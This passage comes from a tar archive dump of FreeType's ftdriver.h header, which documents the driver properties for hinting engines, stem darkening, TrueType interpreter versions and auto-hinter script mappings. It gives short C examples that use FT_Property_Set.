* */ FT_EXPORT( void ) FT_Vector_From_Polar( FT_Vector* vec, FT_Fixed length, FT_Angle angle ); /* */ FT_END_HEADER #endif /* FTTRIGON_H_ */ /* END */ freetype2/freetype/ftdriver.h 0000644 00000135631 15246445047 0012316 0 ustar 00 /***************************************************************************/ /* */ /* ftdriver.h */ /* */ /* FreeType API for controlling driver modules (specification only). */ /* */ /* Copyright 2017-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTDRIVER_H_ #define FTDRIVER_H_ #include <ft2build.h> #include FT_FREETYPE_H #include FT_PARAMETER_TAGS_H #ifdef FREETYPE_H #error "freetype.h of FreeType 1 has been loaded!" #error "Please fix the directory search order for header files" #error "so that freetype.h of FreeType 2 is found first." #endif FT_BEGIN_HEADER /************************************************************************** * * @section: * auto_hinter * * @title: * The auto-hinter * * @abstract: * Controlling the auto-hinting module. * * @description: * While FreeType's auto-hinter doesn't expose API functions by itself, * it is possible to control its behaviour with @FT_Property_Set and * @FT_Property_Get. The following lists the available properties * together with the necessary macros and structures. * * Note that the auto-hinter's module name is `autofitter' for * historical reasons. * * Available properties are @increase-x-height, @no-stem-darkening * (experimental), @darkening-parameters (experimental), @warping * (experimental), @glyph-to-script-map (experimental), @fallback-script * (experimental), and @default-script (experimental), as documented in * the @properties section. * */ /************************************************************************** * * @section: * cff_driver * * @title: * The CFF driver * * @abstract: * Controlling the CFF driver module. * * @description: * While FreeType's CFF driver doesn't expose API functions by itself, * it is possible to control its behaviour with @FT_Property_Set and * @FT_Property_Get. * * The CFF driver's module name is `cff'. * * Available properties are @hinting-engine, @no-stem-darkening, * @darkening-parameters, and @random-seed, as documented in the * @properties section. * * * *Hinting* *and* *antialiasing* *principles* *of* *the* *new* *engine* * * The rasterizer is positioning horizontal features (e.g., ascender * height & x-height, or crossbars) on the pixel grid and minimizing the * amount of antialiasing applied to them, while placing vertical * features (vertical stems) on the pixel grid without hinting, thus * representing the stem position and weight accurately. Sometimes the * vertical stems may be only partially black. In this context, * `antialiasing' means that stems are not positioned exactly on pixel * borders, causing a fuzzy appearance. * * There are two principles behind this approach. * * 1) No hinting in the horizontal direction: Unlike `superhinted' * TrueType, which changes glyph widths to accommodate regular * inter-glyph spacing, Adobe's approach is `faithful to the design' in * representing both the glyph width and the inter-glyph spacing * designed for the font. This makes the screen display as close as it * can be to the result one would get with infinite resolution, while * preserving what is considered the key characteristics of each glyph. * Note that the distances between unhinted and grid-fitted positions at * small sizes are comparable to kerning values and thus would be * noticeable (and distracting) while reading if hinting were applied. * * One of the reasons to not hint horizontally is antialiasing for LCD * screens: The pixel geometry of modern displays supplies three * vertical subpixels as the eye moves horizontally across each visible * pixel. On devices where we can be certain this characteristic is * present a rasterizer can take advantage of the subpixels to add * increments of weight. In Western writing systems this turns out to * be the more critical direction anyway; the weights and spacing of * vertical stems (see above) are central to Armenian, Cyrillic, Greek, * and Latin type designs. Even when the rasterizer uses greyscale * antialiasing instead of color (a necessary compromise when one * doesn't know the screen characteristics), the unhinted vertical * features preserve the design's weight and spacing much better than * aliased type would. * * 2) Alignment in the vertical direction: Weights and spacing along the * y~axis are less critical; what is much more important is the visual * alignment of related features (like cap-height and x-height). The * sense of alignment for these is enhanced by the sharpness of grid-fit * edges, while the cruder vertical resolution (full pixels instead of * 1/3 pixels) is less of a problem. * * On the technical side, horizontal alignment zones for ascender, * x-height, and other important height values (traditionally called * `blue zones') as defined in the font are positioned independently, * each being rounded to the nearest pixel edge, taking care of * overshoot suppression at small sizes, stem darkening, and scaling. * * Hstems (this is, hint values defined in the font to help align * horizontal features) that fall within a blue zone are said to be * `captured' and are aligned to that zone. Uncaptured stems are moved * in one of four ways, top edge up or down, bottom edge up or down. * Unless there are conflicting hstems, the smallest movement is taken * to minimize distortion. * */ /************************************************************************** * * @section: * pcf_driver * * @title: * The PCF driver * * @abstract: * Controlling the PCF driver module. * * @description: * While FreeType's PCF driver doesn't expose API functions by itself, * it is possible to control its behaviour with @FT_Property_Set and * @FT_Property_Get. Right now, there is a single property * @no-long-family-names available if FreeType is compiled with * PCF_CONFIG_OPTION_LONG_FAMILY_NAMES. * * The PCF driver's module name is `pcf'. * */ /************************************************************************** * * @section: * t1_cid_driver * * @title: * The Type 1 and CID drivers * * @abstract: * Controlling the Type~1 and CID driver modules. * * @description: * It is possible to control the behaviour of FreeType's Type~1 and * Type~1 CID drivers with @FT_Property_Set and @FT_Property_Get. * * Behind the scenes, both drivers use the Adobe CFF engine for hinting; * however, the used properties must be specified separately. * * The Type~1 driver's module name is `type1'; the CID driver's module * name is `t1cid'. * * Available properties are @hinting-engine, @no-stem-darkening, * @darkening-parameters, and @random-seed, as documented in the * @properties section. * * Please see the @cff_driver section for more details on the new * hinting engine. * */ /************************************************************************** * * @section: * tt_driver * * @title: * The TrueType driver * * @abstract: * Controlling the TrueType driver module. * * @description: * While FreeType's TrueType driver doesn't expose API functions by * itself, it is possible to control its behaviour with @FT_Property_Set * and @FT_Property_Get. The following lists the available properties * together with the necessary macros and structures. * * The TrueType driver's module name is `truetype'. * * A single property @interpreter-version is available, as documented in * the @properties section. * * We start with a list of definitions, kindly provided by Greg * Hitchcock. * * _Bi-Level_ _Rendering_ * * Monochromatic rendering, exclusively used in the early days of * TrueType by both Apple and Microsoft. Microsoft's GDI interface * supported hinting of the right-side bearing point, such that the * advance width could be non-linear. Most often this was done to * achieve some level of glyph symmetry. To enable reasonable * performance (e.g., not having to run hinting on all glyphs just to * get the widths) there was a bit in the head table indicating if the * side bearing was hinted, and additional tables, `hdmx' and `LTSH', to * cache hinting widths across multiple sizes and device aspect ratios. * * _Font_ _Smoothing_ * * Microsoft's GDI implementation of anti-aliasing. Not traditional * anti-aliasing as the outlines were hinted before the sampling. The * widths matched the bi-level rendering. * * _ClearType_ _Rendering_ * * Technique that uses physical subpixels to improve rendering on LCD * (and other) displays. Because of the higher resolution, many methods * of improving symmetry in glyphs through hinting the right-side * bearing were no longer necessary. This lead to what GDI calls * `natural widths' ClearType, see * http://www.beatstamm.com/typography/RTRCh4.htm#Sec21. Since hinting * has extra resolution, most non-linearity went away, but it is still * possible for hints to change the advance widths in this mode. * * _ClearType_ _Compatible_ _Widths_ * * One of the earliest challenges with ClearType was allowing the * implementation in GDI to be selected without requiring all UI and * documents to reflow. To address this, a compatible method of * rendering ClearType was added where the font hints are executed once * to determine the width in bi-level rendering, and then re-run in * ClearType, with the difference in widths being absorbed in the font * hints for ClearType (mostly in the white space of hints); see * http://www.beatstamm.com/typography/RTRCh4.htm#Sec20. Somewhat by * definition, compatible width ClearType allows for non-linear widths, * but only when the bi-level version has non-linear widths. * * _ClearType_ _Subpixel_ _Positioning_ * * One of the nice benefits of ClearType is the ability to more crisply * display fractional widths; unfortunately, the GDI model of integer * bitmaps did not support this. However, the WPF and Direct Write * frameworks do support fractional widths. DWrite calls this `natural * mode', not to be confused with GDI's `natural widths'. Subpixel * positioning, in the current implementation of Direct Write, * unfortunately does not support hinted advance widths, see * http://www.beatstamm.com/typography/RTRCh4.htm#Sec22. Note that the * TrueType interpreter fully allows the advance width to be adjusted in * this mode, just the DWrite client will ignore those changes. * * _ClearType_ _Backward_ _Compatibility_ * * This is a set of exceptions made in the TrueType interpreter to * minimize hinting techniques that were problematic with the extra * resolution of ClearType; see * http://www.beatstamm.com/typography/RTRCh4.htm#Sec1 and * https://www.microsoft.com/typography/cleartype/truetypecleartype.aspx. * This technique is not to be confused with ClearType compatible * widths. ClearType backward compatibility has no direct impact on * changing advance widths, but there might be an indirect impact on * disabling some deltas. This could be worked around in backward * compatibility mode. * * _Native_ _ClearType_ _Mode_ * * (Not to be confused with `natural widths'.) This mode removes all * the exceptions in the TrueType interpreter when running with * ClearType. Any issues on widths would still apply, though. * */ /************************************************************************** * * @section: * properties * * @title: * Driver properties * * @abstract: * Controlling driver modules. * * @description: * Driver modules can be controlled by setting and unsetting properties, * using the functions @FT_Property_Set and @FT_Property_Get. This * section documents the available properties, together with auxiliary * macros and structures. * */ /************************************************************************** * * @enum: * FT_HINTING_XXX * * @description: * A list of constants used for the @hinting-engine property to * select the hinting engine for CFF, Type~1, and CID fonts. * * @values: * FT_HINTING_FREETYPE :: * Use the old FreeType hinting engine. * * FT_HINTING_ADOBE :: * Use the hinting engine contributed by Adobe. * * @since: * 2.9 * */ #define FT_HINTING_FREETYPE 0 #define FT_HINTING_ADOBE 1 /* these constants (introduced in 2.4.12) are deprecated */ #define FT_CFF_HINTING_FREETYPE FT_HINTING_FREETYPE #define FT_CFF_HINTING_ADOBE FT_HINTING_ADOBE /************************************************************************** * * @property: * hinting-engine * * @description: * Thanks to Adobe, which contributed a new hinting (and parsing) * engine, an application can select between `freetype' and `adobe' if * compiled with CFF_CONFIG_OPTION_OLD_ENGINE. If this configuration * macro isn't defined, `hinting-engine' does nothing. * * The same holds for the Type~1 and CID modules if compiled with * T1_CONFIG_OPTION_OLD_ENGINE. * * For the `cff' module, the default engine is `freetype' if * CFF_CONFIG_OPTION_OLD_ENGINE is defined, and `adobe' otherwise. * * For both the `type1' and `t1cid' modules, the default engine is * `freetype' if T1_CONFIG_OPTION_OLD_ENGINE is defined, and `adobe' * otherwise. * * The following example code demonstrates how to select Adobe's hinting * engine for the `cff' module (omitting the error handling). * * { * FT_Library library; * FT_UInt hinting_engine = FT_CFF_HINTING_ADOBE; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "cff", * "hinting-engine", &hinting_engine ); * } * * @note: * This property can be used with @FT_Property_Get also. * * This property can be set via the `FREETYPE_PROPERTIES' environment * variable (using values `adobe' or `freetype'). * * @since: * 2.4.12 (for `cff' module) * * 2.9 (for `type1' and `t1cid' modules) * */ /************************************************************************** * * @property: * no-stem-darkening * * @description: * All glyphs that pass through the auto-hinter will be emboldened * unless this property is set to TRUE. The same is true for the CFF, * Type~1, and CID font modules if the `Adobe' engine is selected (which * is the default). * * Stem darkening emboldens glyphs at smaller sizes to make them more * readable on common low-DPI screens when using linear alpha blending * and gamma correction, see @FT_Render_Glyph. When not using linear * alpha blending and gamma correction, glyphs will appear heavy and * fuzzy! * * Gamma correction essentially lightens fonts since shades of grey are * shifted to higher pixel values (=~higher brightness) to match the * original intention to the reality of our screens. The side-effect is * that glyphs `thin out'. Mac OS~X and Adobe's proprietary font * rendering library implement a counter-measure: stem darkening at * smaller sizes where shades of gray dominate. By emboldening a glyph * slightly in relation to its pixel size, individual pixels get higher * coverage of filled-in outlines and are therefore `blacker'. This * counteracts the `thinning out' of glyphs, making text remain readable * at smaller sizes. * * By default, the Adobe engines for CFF, Type~1, and CID fonts darken * stems at smaller sizes, regardless of hinting, to enhance contrast. * Setting this property, stem darkening gets switched off. * * For the auto-hinter, stem-darkening is experimental currently and * thus switched off by default (this is, `no-stem-darkening' is set to * TRUE by default). Total consistency with the CFF driver is not * achieved right now because the emboldening method differs and glyphs * must be scaled down on the Y-axis to keep outline points inside their * precomputed blue zones. The smaller the size (especially 9ppem and * down), the higher the loss of emboldening versus the CFF driver. * * Note that stem darkening is never applied if @FT_LOAD_NO_SCALE is * set. * * { * FT_Library library; * FT_Bool no_stem_darkening = TRUE; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "cff", * "no-stem-darkening", &no_stem_darkening ); * } * * @note: * This property can be used with @FT_Property_Get also. * * This property can be set via the `FREETYPE_PROPERTIES' environment * variable (using values 1 and 0 for `on' and `off', respectively). * It can also be set per face using @FT_Face_Properties with * @FT_PARAM_TAG_STEM_DARKENING. * * @since: * 2.4.12 (for `cff' module) * * 2.6.2 (for `autofitter' module) * * 2.9 (for `type1' and `t1cid' modules) * */ /************************************************************************** * * @property: * darkening-parameters * * @description: * By default, the Adobe hinting engine, as used by the CFF, Type~1, and * CID font drivers, darkens stems as follows (if the * `no-stem-darkening' property isn't set): * * { * stem width <= 0.5px: darkening amount = 0.4px * stem width = 1px: darkening amount = 0.275px * stem width = 1.667px: darkening amount = 0.275px * stem width >= 2.333px: darkening amount = 0px * } * * and piecewise linear in-between. At configuration time, these four * control points can be set with the macro * `CFF_CONFIG_OPTION_DARKENING_PARAMETERS'; the CFF, Type~1, and CID * drivers share these values. At runtime, the control points can be * changed using the `darkening-parameters' property, as the following * example demonstrates for the Type~1 driver. * * { * FT_Library library; * FT_Int darken_params[8] = { 500, 300, // x1, y1 * 1000, 200, // x2, y2 * 1500, 100, // x3, y3 * 2000, 0 }; // x4, y4 * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "type1", * "darkening-parameters", darken_params ); * } * * The x~values give the stem width, and the y~values the darkening * amount. The unit is 1000th of pixels. All coordinate values must be * positive; the x~values must be monotonically increasing; the * y~values must be monotonically decreasing and smaller than or * equal to 500 (corresponding to half a pixel); the slope of each * linear piece must be shallower than -1 (e.g., -.4). * * The auto-hinter provides this property, too, as an experimental * feature. See @no-stem-darkening for more. * * @note: * This property can be used with @FT_Property_Get also. * * This property can be set via the `FREETYPE_PROPERTIES' environment * variable, using eight comma-separated integers without spaces. Here * the above example, using `\' to break the line for readability. * * { * FREETYPE_PROPERTIES=\ * type1:darkening-parameters=500,300,1000,200,1500,100,2000,0 * } * * @since: * 2.5.1 (for `cff' module) * * 2.6.2 (for `autofitter' module) * * 2.9 (for `type1' and `t1cid' modules) * */ /************************************************************************** * * @property: * random-seed * * @description: * By default, the seed value for the CFF `random' operator and the * similar `0 28 callothersubr pop' command for the Type~1 and CID * drivers is set to a random value. However, mainly for debugging * purposes, it is often necessary to use a known value as a seed so * that the pseudo-random number sequences generated by `random' are * repeatable. * * The `random-seed' property does that. Its argument is a signed 32bit * integer; if the value is zero or negative, the seed given by the * `intitialRandomSeed' private DICT operator in a CFF file gets used * (or a default value if there is no such operator). If the value is * positive, use it instead of `initialRandomSeed', which is * consequently ignored. * * @note: * This property can be set via the `FREETYPE_PROPERTIES' environment * variable. It can also be set per face using @FT_Face_Properties with * @FT_PARAM_TAG_RANDOM_SEED. * * @since: * 2.8 (for `cff' module) * * 2.9 (for `type1' and `t1cid' modules) * */ /************************************************************************** * * @property: * no-long-family-names * * @description: * If PCF_CONFIG_OPTION_LONG_FAMILY_NAMES is active while compiling * FreeType, the PCF driver constructs long family names. * * There are many PCF fonts just called `Fixed' which look completely * different, and which have nothing to do with each other. When * selecting `Fixed' in KDE or Gnome one gets results that appear rather * random, the style changes often if one changes the size and one * cannot select some fonts at all. The improve this situation, the PCF * module prepends the foundry name (plus a space) to the family name. * It also checks whether there are `wide' characters; all put together, * family names like `Sony Fixed' or `Misc Fixed Wide' are constructed. * * If `no-long-family-names' is set, this feature gets switched off. * * { * FT_Library library; * FT_Bool no_long_family_names = TRUE; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "pcf", * "no-long-family-names", * &no_long_family_names ); * } * * @note: * This property can be used with @FT_Property_Get also. * * This property can be set via the `FREETYPE_PROPERTIES' environment * variable (using values 1 and 0 for `on' and `off', respectively). * * @since: * 2.8 */ /************************************************************************** * * @enum: * TT_INTERPRETER_VERSION_XXX * * @description: * A list of constants used for the @interpreter-version property to * select the hinting engine for Truetype fonts. * * The numeric value in the constant names represents the version * number as returned by the `GETINFO' bytecode instruction. * * @values: * TT_INTERPRETER_VERSION_35 :: * Version~35 corresponds to MS rasterizer v.1.7 as used e.g. in * Windows~98; only grayscale and B/W rasterizing is supported. * * TT_INTERPRETER_VERSION_38 :: * Version~38 corresponds to MS rasterizer v.1.9; it is roughly * equivalent to the hinting provided by DirectWrite ClearType (as can * be found, for example, in the Internet Explorer~9 running on * Windows~7). It is used in FreeType to select the `Infinality' * subpixel hinting code. The code may be removed in a future * version. * * TT_INTERPRETER_VERSION_40 :: * Version~40 corresponds to MS rasterizer v.2.1; it is roughly * equivalent to the hinting provided by DirectWrite ClearType (as can * be found, for example, in Microsoft's Edge Browser on Windows~10). * It is used in FreeType to select the `minimal' subpixel hinting * code, a stripped-down and higher performance version of the * `Infinality' code. * * @note: * This property controls the behaviour of the bytecode interpreter * and thus how outlines get hinted. It does *not* control how glyph * get rasterized! In particular, it does not control subpixel color * filtering. * * If FreeType has not been compiled with the configuration option * TT_CONFIG_OPTION_SUBPIXEL_HINTING, selecting version~38 or~40 causes * an `FT_Err_Unimplemented_Feature' error. * * Depending on the graphics framework, Microsoft uses different * bytecode and rendering engines. As a consequence, the version * numbers returned by a call to the `GETINFO' bytecode instruction are * more convoluted than desired. * * Here are two tables that try to shed some light on the possible * values for the MS rasterizer engine, together with the additional * features introduced by it. * * { * GETINFO framework version feature * ------------------------------------------------------------------- * 3 GDI (Win 3.1), v1.0 16-bit, first version * TrueImage * 33 GDI (Win NT 3.1), v1.5 32-bit * HP Laserjet * 34 GDI (Win 95) v1.6 font smoothing, * new SCANTYPE opcode * 35 GDI (Win 98/2000) v1.7 (UN)SCALED_COMPONENT_OFFSET * bits in composite glyphs * 36 MGDI (Win CE 2) v1.6+ classic ClearType * 37 GDI (XP and later), v1.8 ClearType * GDI+ old (before Vista) * 38 GDI+ old (Vista, Win 7), v1.9 subpixel ClearType, * WPF Y-direction ClearType, * additional error checking * 39 DWrite (before Win 8) v2.0 subpixel ClearType flags * in GETINFO opcode, * bug fixes * 40 GDI+ (after Win 7), v2.1 Y-direction ClearType flag * DWrite (Win 8) in GETINFO opcode, * Gray ClearType * } * * The `version' field gives a rough orientation only, since some * applications provided certain features much earlier (as an example, * Microsoft Reader used subpixel and Y-direction ClearType already in * Windows 2000). Similarly, updates to a given framework might include * improved hinting support. * * { * version sampling rendering comment * x y x y * -------------------------------------------------------------- * v1.0 normal normal B/W B/W bi-level * v1.6 high high gray gray grayscale * v1.8 high normal color-filter B/W (GDI) ClearType * v1.9 high high color-filter gray Color ClearType * v2.1 high normal gray B/W Gray ClearType * v2.1 high high gray gray Gray ClearType * } * * Color and Gray ClearType are the two available variants of * `Y-direction ClearType', meaning grayscale rasterization along the * Y-direction; the name used in the TrueType specification for this * feature is `symmetric smoothing'. `Classic ClearType' is the * original algorithm used before introducing a modified version in * Win~XP. Another name for v1.6's grayscale rendering is `font * smoothing', and `Color ClearType' is sometimes also called `DWrite * ClearType'. To differentiate between today's Color ClearType and the * earlier ClearType variant with B/W rendering along the vertical axis, * the latter is sometimes called `GDI ClearType'. * * `Normal' and `high' sampling describe the (virtual) resolution to * access the rasterized outline after the hinting process. `Normal' * means 1 sample per grid line (i.e., B/W). In the current Microsoft * implementation, `high' means an extra virtual resolution of 16x16 (or * 16x1) grid lines per pixel for bytecode instructions like `MIRP'. * After hinting, these 16 grid lines are mapped to 6x5 (or 6x1) grid * lines for color filtering if Color ClearType is activated. * * Note that `Gray ClearType' is essentially the same as v1.6's * grayscale rendering. However, the GETINFO instruction handles it * differently: v1.6 returns bit~12 (hinting for grayscale), while v2.1 * returns bits~13 (hinting for ClearType), 18 (symmetrical smoothing), * and~19 (Gray ClearType). Also, this mode respects bits 2 and~3 for * the version~1 gasp table exclusively (like Color ClearType), while * v1.6 only respects the values of version~0 (bits 0 and~1). * * Keep in mind that the features of the above interpreter versions * might not map exactly to FreeType features or behavior because it is * a fundamentally different library with different internals. * */ #define TT_INTERPRETER_VERSION_35 35 #define TT_INTERPRETER_VERSION_38 38 #define TT_INTERPRETER_VERSION_40 40 /************************************************************************** * * @property: * interpreter-version * * @description: * Currently, three versions are available, two representing the * bytecode interpreter with subpixel hinting support (old `Infinality' * code and new stripped-down and higher performance `minimal' code) and * one without, respectively. The default is subpixel support if * TT_CONFIG_OPTION_SUBPIXEL_HINTING is defined, and no subpixel support * otherwise (since it isn't available then). * * If subpixel hinting is on, many TrueType bytecode instructions behave * differently compared to B/W or grayscale rendering (except if `native * ClearType' is selected by the font). Microsoft's main idea is to * render at a much increased horizontal resolution, then sampling down * the created output to subpixel precision. However, many older fonts * are not suited to this and must be specially taken care of by * applying (hardcoded) tweaks in Microsoft's interpreter. * * Details on subpixel hinting and some of the necessary tweaks can be * found in Greg Hitchcock's whitepaper at * `https://www.microsoft.com/typography/cleartype/truetypecleartype.aspx'. * Note that FreeType currently doesn't really `subpixel hint' (6x1, 6x2, * or 6x5 supersampling) like discussed in the paper. Depending on the * chosen interpreter, it simply ignores instructions on vertical stems * to arrive at very similar results. * * The following example code demonstrates how to deactivate subpixel * hinting (omitting the error handling). * * { * FT_Library library; * FT_Face face; * FT_UInt interpreter_version = TT_INTERPRETER_VERSION_35; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "truetype", * "interpreter-version", * &interpreter_version ); * } * * @note: * This property can be used with @FT_Property_Get also. * * This property can be set via the `FREETYPE_PROPERTIES' environment * variable (using values `35', `38', or `40'). * * @since: * 2.5 */ /************************************************************************** * * @property: * glyph-to-script-map * * @description: * *Experimental* *only* * * The auto-hinter provides various script modules to hint glyphs. * Examples of supported scripts are Latin or CJK. Before a glyph is * auto-hinted, the Unicode character map of the font gets examined, and * the script is then determined based on Unicode character ranges, see * below. * * OpenType fonts, however, often provide much more glyphs than * character codes (small caps, superscripts, ligatures, swashes, etc.), * to be controlled by so-called `features'. Handling OpenType features * can be quite complicated and thus needs a separate library on top of * FreeType. * * The mapping between glyph indices and scripts (in the auto-hinter * sense, see the @FT_AUTOHINTER_SCRIPT_XXX values) is stored as an * array with `num_glyphs' elements, as found in the font's @FT_Face * structure. The `glyph-to-script-map' property returns a pointer to * this array, which can be modified as needed. Note that the * modification should happen before the first glyph gets processed by * the auto-hinter so that the global analysis of the font shapes * actually uses the modified mapping. * * The following example code demonstrates how to access it (omitting * the error handling). * * { * FT_Library library; * FT_Face face; * FT_Prop_GlyphToScriptMap prop; * * * FT_Init_FreeType( &library ); * FT_New_Face( library, "foo.ttf", 0, &face ); * * prop.face = face; * * FT_Property_Get( library, "autofitter", * "glyph-to-script-map", &prop ); * * // adjust `prop.map' as needed right here * * FT_Load_Glyph( face, ..., FT_LOAD_FORCE_AUTOHINT ); * } * * @since: * 2.4.11 * */ /************************************************************************** * * @enum: * FT_AUTOHINTER_SCRIPT_XXX * * @description: * *Experimental* *only* * * A list of constants used for the @glyph-to-script-map property to * specify the script submodule the auto-hinter should use for hinting a * particular glyph. * * @values: * FT_AUTOHINTER_SCRIPT_NONE :: * Don't auto-hint this glyph. * * FT_AUTOHINTER_SCRIPT_LATIN :: * Apply the latin auto-hinter. For the auto-hinter, `latin' is a * very broad term, including Cyrillic and Greek also since characters * from those scripts share the same design constraints. * * By default, characters from the following Unicode ranges are * assigned to this submodule. * * { * U+0020 - U+007F // Basic Latin (no control characters) * U+00A0 - U+00FF // Latin-1 Supplement (no control characters) * U+0100 - U+017F // Latin Extended-A * U+0180 - U+024F // Latin Extended-B * U+0250 - U+02AF // IPA Extensions * U+02B0 - U+02FF // Spacing Modifier Letters * U+0300 - U+036F // Combining Diacritical Marks * U+0370 - U+03FF // Greek and Coptic * U+0400 - U+04FF // Cyrillic * U+0500 - U+052F // Cyrillic Supplement * U+1D00 - U+1D7F // Phonetic Extensions * U+1D80 - U+1DBF // Phonetic Extensions Supplement * U+1DC0 - U+1DFF // Combining Diacritical Marks Supplement * U+1E00 - U+1EFF // Latin Extended Additional * U+1F00 - U+1FFF // Greek Extended * U+2000 - U+206F // General Punctuation * U+2070 - U+209F // Superscripts and Subscripts * U+20A0 - U+20CF // Currency Symbols * U+2150 - U+218F // Number Forms * U+2460 - U+24FF // Enclosed Alphanumerics * U+2C60 - U+2C7F // Latin Extended-C * U+2DE0 - U+2DFF // Cyrillic Extended-A * U+2E00 - U+2E7F // Supplemental Punctuation * U+A640 - U+A69F // Cyrillic Extended-B * U+A720 - U+A7FF // Latin Extended-D * U+FB00 - U+FB06 // Alphab. Present. Forms (Latin Ligatures) * U+1D400 - U+1D7FF // Mathematical Alphanumeric Symbols * U+1F100 - U+1F1FF // Enclosed Alphanumeric Supplement * } * * FT_AUTOHINTER_SCRIPT_CJK :: * Apply the CJK auto-hinter, covering Chinese, Japanese, Korean, old * Vietnamese, and some other scripts. * * By default, characters from the following Unicode ranges are * assigned to this submodule. * * { * U+1100 - U+11FF // Hangul Jamo * U+2E80 - U+2EFF // CJK Radicals Supplement * U+2F00 - U+2FDF // Kangxi Radicals * U+2FF0 - U+2FFF // Ideographic Description Characters * U+3000 - U+303F // CJK Symbols and Punctuation * U+3040 - U+309F // Hiragana * U+30A0 - U+30FF // Katakana * U+3100 - U+312F // Bopomofo * U+3130 - U+318F // Hangul Compatibility Jamo * U+3190 - U+319F // Kanbun * U+31A0 - U+31BF // Bopomofo Extended * U+31C0 - U+31EF // CJK Strokes * U+31F0 - U+31FF // Katakana Phonetic Extensions * U+3200 - U+32FF // Enclosed CJK Letters and Months * U+3300 - U+33FF // CJK Compatibility * U+3400 - U+4DBF // CJK Unified Ideographs Extension A * U+4DC0 - U+4DFF // Yijing Hexagram Symbols * U+4E00 - U+9FFF // CJK Unified Ideographs * U+A960 - U+A97F // Hangul Jamo Extended-A * U+AC00 - U+D7AF // Hangul Syllables * U+D7B0 - U+D7FF // Hangul Jamo Extended-B * U+F900 - U+FAFF // CJK Compatibility Ideographs * U+FE10 - U+FE1F // Vertical forms * U+FE30 - U+FE4F // CJK Compatibility Forms * U+FF00 - U+FFEF // Halfwidth and Fullwidth Forms * U+1B000 - U+1B0FF // Kana Supplement * U+1D300 - U+1D35F // Tai Xuan Hing Symbols * U+1F200 - U+1F2FF // Enclosed Ideographic Supplement * U+20000 - U+2A6DF // CJK Unified Ideographs Extension B * U+2A700 - U+2B73F // CJK Unified Ideographs Extension C * U+2B740 - U+2B81F // CJK Unified Ideographs Extension D * U+2F800 - U+2FA1F // CJK Compatibility Ideographs Supplement * } * * FT_AUTOHINTER_SCRIPT_INDIC :: * Apply the indic auto-hinter, covering all major scripts from the * Indian sub-continent and some other related scripts like Thai, Lao, * or Tibetan. * * By default, characters from the following Unicode ranges are * assigned to this submodule. * * { * U+0900 - U+0DFF // Indic Range * U+0F00 - U+0FFF // Tibetan * U+1900 - U+194F // Limbu * U+1B80 - U+1BBF // Sundanese * U+A800 - U+A82F // Syloti Nagri * U+ABC0 - U+ABFF // Meetei Mayek * U+11800 - U+118DF // Sharada * } * * Note that currently Indic support is rudimentary only, missing blue * zone support. * * @since: * 2.4.11 * */ #define FT_AUTOHINTER_SCRIPT_NONE 0 #define FT_AUTOHINTER_SCRIPT_LATIN 1 #define FT_AUTOHINTER_SCRIPT_CJK 2 #define FT_AUTOHINTER_SCRIPT_INDIC 3 /************************************************************************** * * @struct: * FT_Prop_GlyphToScriptMap * * @description: * *Experimental* *only* * * The data exchange structure for the @glyph-to-script-map property. * * @since: * 2.4.11 * */ typedef struct FT_Prop_GlyphToScriptMap_ { FT_Face face; FT_UShort* map; } FT_Prop_GlyphToScriptMap; /************************************************************************** * * @property: * fallback-script * * @description: * *Experimental* *only* * * If no auto-hinter script module can be assigned to a glyph, a * fallback script gets assigned to it (see also the * @glyph-to-script-map property). By default, this is * @FT_AUTOHINTER_SCRIPT_CJK. Using the `fallback-script' property, * this fallback value can be changed. * * { * FT_Library library; * FT_UInt fallback_script = FT_AUTOHINTER_SCRIPT_NONE; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "autofitter", * "fallback-script", &fallback_script ); * } * * @note: * This property can be used with @FT_Property_Get also. * * It's important to use the right timing for changing this value: The * creation of the glyph-to-script map that eventually uses the * fallback script value gets triggered either by setting or reading a * face-specific property like @glyph-to-script-map, or by auto-hinting * any glyph from that face. In particular, if you have already created * an @FT_Face structure but not loaded any glyph (using the * auto-hinter), a change of the fallback script will affect this face. * * @since: * 2.4.11 * */ /************************************************************************** * * @property: * default-script * * @description: * *Experimental* *only* * * If FreeType gets compiled with FT_CONFIG_OPTION_USE_HARFBUZZ to make * the HarfBuzz library access OpenType features for getting better * glyph coverages, this property sets the (auto-fitter) script to be * used for the default (OpenType) script data of a font's GSUB table. * Features for the default script are intended for all scripts not * explicitly handled in GSUB; an example is a `dlig' feature, * containing the combination of the characters `T', `E', and `L' to * form a `TEL' ligature. * * By default, this is @FT_AUTOHINTER_SCRIPT_LATIN. Using the * `default-script' property, this default value can be changed. * * { * FT_Library library; * FT_UInt default_script = FT_AUTOHINTER_SCRIPT_NONE; * * * FT_Init_FreeType( &library ); * * FT_Property_Set( library, "autofitter", * "default-script", &default_script ); * } * * @note: * This property can be used with @FT_Property_Get also. * * It's important to use the right timing for changing this value: The * creation of the glyph-to-script map that eventually uses the * default script value gets triggered either by setting or reading a * face-specific property like @glyph-to-script-map, or by auto-hinting * any glyph from that face. In particular, if you have already created * an @FT_Face structure but not loaded any glyph (using the * auto-hinter), a change of the default script will affect this face. * * @since: * 2.5.3 * */ /************************************************************************** * * @property: * increase-x-height * * @description: * For ppem values in the range 6~<= ppem <= `increase-x-height', round * up the font's x~height much more often than normally. If the value * is set to~0, which is the default, this feature is switched off. Use * this property to improve the legibility of small font sizes if * necessary. * * { * FT_Library library; * FT_Face face; * FT_Prop_IncreaseXHeight prop; * * * FT_Init_FreeType( &library ); * FT_New_Face( library, "foo.ttf", 0, &face ); * FT_Set_Char_Size( face, 10 * 64, 0, 72, 0 ); * * prop.face = face; * prop.limit = 14; * * FT_Property_Set( library, "autofitter", * "increase-x-height", &prop ); * } * * @note: * This property can be used with @FT_Property_Get also. * * Set this value right after calling @FT_Set_Char_Size, but before * loading any glyph (using the auto-hinter). * * @since: * 2.4.11 * */ /************************************************************************** * * @struct: * FT_Prop_IncreaseXHeight * * @description: * The data exchange structure for the @increase-x-height property. * */ typedef struct FT_Prop_IncreaseXHeight_ { FT_Face face; 